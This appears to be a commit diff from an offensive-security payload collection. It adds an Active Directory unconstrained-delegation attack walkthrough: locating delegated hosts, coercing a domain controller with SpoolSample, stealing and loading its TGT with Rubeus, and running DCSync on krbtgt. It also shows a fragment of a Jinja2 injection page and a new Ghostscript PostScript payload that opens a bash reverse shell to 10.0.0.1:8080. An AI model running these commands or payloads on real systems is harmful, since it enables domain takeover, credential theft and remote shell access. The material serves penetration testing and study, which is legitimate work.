Active Directory - Unconstrained delegation
Swissky
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3cce80cd53
commit
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@ -11,7 +11,6 @@
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* [Password in AD User comment](#password-in-ad-user-comment)
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* [Golden Tickets](#passtheticket-golden-tickets)
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* [Silver Tickets](#passtheticket-silver-tickets)
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* [Trust Tickets](#trust-tickets)
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* [Kerberoast](#kerberoast)
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* [KRB_AS_REP roasting](#krb_as_rep-roasting)
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* [Pass-the-Hash](#pass-the-hash)
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@ -20,6 +19,8 @@
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* [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying)
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* [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
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* [Trust relationship between domains](#trust-relationship-between-domains)
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* [Unconstrained delegation](#unconstrained-delegation)
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* [Resource-Based Constrained Delegation](#resource-based-constrained-delegation)
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* [PrivExchange attack](#privexchange-attack)
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* [Password spraying](#password-spraying)
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@ -443,10 +444,6 @@ export KRB5CCNAME=/home/user/ticket.ccache
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./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
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```
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### Trust Tickets
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TODO
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### Kerberoast
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> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
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@ -608,6 +605,60 @@ SourceName TargetName TrustType TrustDirection
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domainA.local domainB.local TreeRoot Bidirectional
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```
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### Unconstrained delegation
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#### Find delegation
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Check the `TrustedForDelegation` property.
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```powershell
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# From https://github.com/samratashok/ADModule
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PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
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or
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$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
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grep TRUSTED_FOR_DELEGATION domain_computers.grep
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```
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NOTE: Domain controllers usually have unconstrained delegation enabled
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#### Monitor with Rubeus
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Monitor incoming connections from Rubeus.
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```powershell
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Rubeus.exe monitor /interval:1
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```
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#### Force a connect back from the DC
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> SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface
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```powershell
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# From https://github.com/leechristensen/SpoolSample
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.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
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.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
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# DC01.HACKER.LAB is the domain controller we want to compromise
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# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
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```
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If the attack worked you should get a TGT of the domain controller.
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#### Load the ticket
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Extract the base64 TGT from Rubeus output and load it to our current session.
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```powershell
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.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
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```
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Then you can use DCsync or another attack : `Mimikatz> lsadump::dcsync /user:HACKER\krbtgt`
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### Resource-Based Constrained Delegation
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TODO
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### PrivExchange attack
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Exchange your privileges for Domain Admin privs by abusing Exchange.
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@ -711,4 +762,6 @@ Most of the time the best passwords to spray are :
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* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf)
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* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/)
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* [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/)
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* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/)
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* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/)
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* [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)
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* [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/)
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@ -188,9 +188,9 @@ ${x}
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## Jinja2
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[Official website](http://jinja.pocoo.org/)
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> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
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> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
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### Basic injection
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### Basic injection
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```python
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{{4*4}}[[5*5]]
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@ -0,0 +1,6 @@
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%!PS
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userdict /setpagedevice undef
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legal
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{ null restore } stopped { pop } if
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legal
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mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1') currentdevice putdeviceprops
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